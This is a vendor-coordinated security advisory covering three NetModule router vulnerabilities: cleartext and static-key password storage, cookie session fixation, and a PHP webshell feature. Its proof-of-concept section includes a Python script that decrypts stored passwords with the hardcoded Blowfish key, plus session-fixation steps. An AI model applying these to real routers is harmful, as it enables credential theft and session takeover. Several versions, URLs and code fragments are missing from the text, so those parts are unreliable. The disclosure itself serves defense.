SEC Consult Vulnerability Lab Security Advisory < 20210820-0 >  
title: Multiple Vulnerabilities in NetModule Router Software  
product: NetModule Router Software (NRSW)  
vulnerable version: Before,,  
fixed version:,,  
CVE number: CVE-2021-39289, CVE-2021-39290, CVE-2021-39291  
impact: High  
found: 2021-05-05  
by: SEC Consult Vulnerability Lab  
These vulnerabilities were discovered during the research  
cooperation initiative "OT Cyber Security Lab" between  
Verbund AG and SEC Consult Group.  
Gerhard Hechenberger (Office Vienna)  
Steffen Robertz (Office Vienna)  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"NetModule is a leading manufacturer of communication products for M2M and IoT.  
One focus is on our solutions for applications in the fields of shipping, local  
and long-distance public transit, and Industrial Internet. Future markets such  
as Smart City, public safety, and sustainable energy and resource management  
are further focus areas. The key technology here is 5G.  
Our devices are certified and include the latest wireless technologies along  
with multiple interfaces for applications where robust communication is  
essential, such as information systems, driver communication, passenger WiFi,  
remote maintenance, condition monitoring, and real-time data exchange."  
"Our Linux-based router software ensures reliable data connections with a wide  
range of network functions and smart link management โ€“ stationary and mobile.  
Configuration and update options for secure operation throughout the product  
life cycle and over-the-air complete the package. As a special service, we  
offer you free updates and support."  
"The NetModule router software (NRSW) is our standard software and runs on all  
our devices. This has the advantage of being able to use identical  
configuration processes and functions for every router (unless technical  
restrictions dictate otherwise). It is based on proven components such as  
Embedded Linux and a powerful communication protocol suite."  
Business recommendation:  
The vendor provides patches, which should be installed immediately.  
SEC Consult recommends to perform a thorough security review of these  
products conducted by security professionals to identify and resolve potential  
further security issues.  
We want to thank NetModule for the very professional response and great  
Vulnerability overview/description:  
1) Insecure Password Handling (CVE-2021-39289)  
The device is storing passwords in an insecure way. For some of them, e.g.,  
user accounts, password storage is an optional feature. For others, e.g., the  
certificate password, configuration possibilities do not exist.  
* Storing and sending passwords as cleartext  
* Storing passwords symmetrically encrypted with a static key  
2) Limited Session Fixation via Cookie (CVE-2021-39290)  
An arbitrary session token cookie value can be used on the web interface. If  
a session token with an arbitrary value is available, the device does not  
create a new one during the login process. Also, after the logout, no new  
session token will be issued. An attacker which is able to create cookies on  
the victim's client (via potential HTTP Response Splitting, Malware, physical  
access, ...) can use this to take over the session of the victim.  
3) Insecure Feature (Web CLI) (CVE-2021-39291)  
The interface supports an optional "CLI-PHP" feature, which is essentially a  
PHP webshell. Authentication is needed and the credentials can be sent  
as GET parameters. As GET parameters are part of the URL and URLs are  
frequently stored, this may enable attackers with access to such logs to take  
over the used account.  
Proof of concept:  
1) Insecure Password Handling (CVE-2021-39289)  
* Storing and sending passwords as cleartext  
The certificate settings are located at  
SYSTEM -> Keys & Certificates -> Configuration. When visiting the following  
URL, the certificate password will be included in cleartext in the response:  
Find the response below:  
HTTP/1.1 200 OK  
X-Powered-By: PHP/5.6.31  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-type: text/html; charset=ISO-8859-1  
Connection: close  
Date: Mon, 26 Apr 2021 07:20:26 GMT  
Server: lighttpd/1.4.39  
Content-Length: 25448  
<td class="c2_left">Passphrase:</td>  
<td class="c2_right">  
<input type="password" id="phrase" name="phrase" size=20 value="password12"  
Additionally, the password is stored in cleartext in the file  
/etc/default/cert-settings on the device, the line reads:  
* Storing passwords symmetrically encrypted with a static key  
The passwords are stored in the configuration file on the device, which can  
also be downloaded at SYSTEM -> File Configuration -> Download. The downloaded  
ZIP file will contain a *.cfg file, which includes several encrypted passwords  
(the values are prefixed with "[enc]", e.g.:  
The used encryption is Blowfish CBC with a static key and initialization  
vector, therefore, the passwords can easily be decrypted. This can be done with  
the following script:  
#!/usr/bin/env python3  
import sys  
import base64  
from Crypto.Cipher import Blowfish  
data_b64 = sys.argv[1]  
key = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  
iv = b"\x00\x00\x00\x00\x00\x00\x00\x00"  
cipher =, Blowfish.MODE_CBC, iv)  
data_enc = base64.b64decode(data_b64)  
data_pad = cipher.decrypt(data_enc)  
num_pad = int(data_pad[-1])  
data = data_pad[:-num_pad]  
The value in the configuration file can be decrypted as follows:  
$ ./ UauZghllTu7Jy7pF3mdkFA==  
2) Limited Session Fixation via Cookie (CVE-2021-39290)  
The session token is stored as cookie named "PHPSESSID". To show the issue,  
execute the following steps:  
* Set the "PHPSESSID" cookie in scope of the web interface to an arbitrary  
value while logged out.  
* Log in. Observe that the cookie remains unchanged.  
* Log out. Observe that the cookie remains unchanged.  
3) Insecure Feature (Web CLI) (CVE-2021-39291)  
The Web CLI can be enabled at SERVICES -> Web Server -> Enable CLI-PHP.  
It is available and can be used at the following URL:  
Vulnerable / tested versions:  
The following firmware/device has been tested:  
* NetModule NB1600: Firmware version LTS  
According to the vendor, the following models with firmware versions before, and are affected:  
* NB800  
* NB1600  
* NB1601  
* NB1800  
* NB1810  
* NB2700  
* NB2710  
* NB2800  
* NB2810  
* NB3700  
* NB3701  
* NB3710  
* NB3711  
* NB3720  
* NB3800  
Vendor contact timeline:  
2021-05-25: Contacting vendor through, asking  
for security contact information. Set release date to  
2021-07-14. Received vendor response concerning further steps.  
2021-05-26: Advisory was transmitted to head of PM and acknowledged.  
2021-06-16: In a call, the vendor acknowledges the findings and ensures to  
keep us updated on the upcoming release of a fixed firmware  
2021-07-23: The vendor provides information on the release of a fixed  
firmware version on 2021-07-04.  
2021-08-10: The vendor was notified about the pending release.  
2021-08-19: The vendor provides information on all supported and fixed  
major releases.  
2021-08-20: Coordinated release of security advisory.  
Update the affected devices to software version, or Additionally, do not use insecure features and pay close attention  
to warning messages during the configuration.  
For more information see vendor's release notes:  
Advisory URL:  
SEC Consult Vulnerability Lab  
SEC Consult, an Atos company  
Europe | Asia | North America  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
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Mail: research at sec-consult dot com  
EOF Gerhard Hechenberger, Steffen Robertz / @2021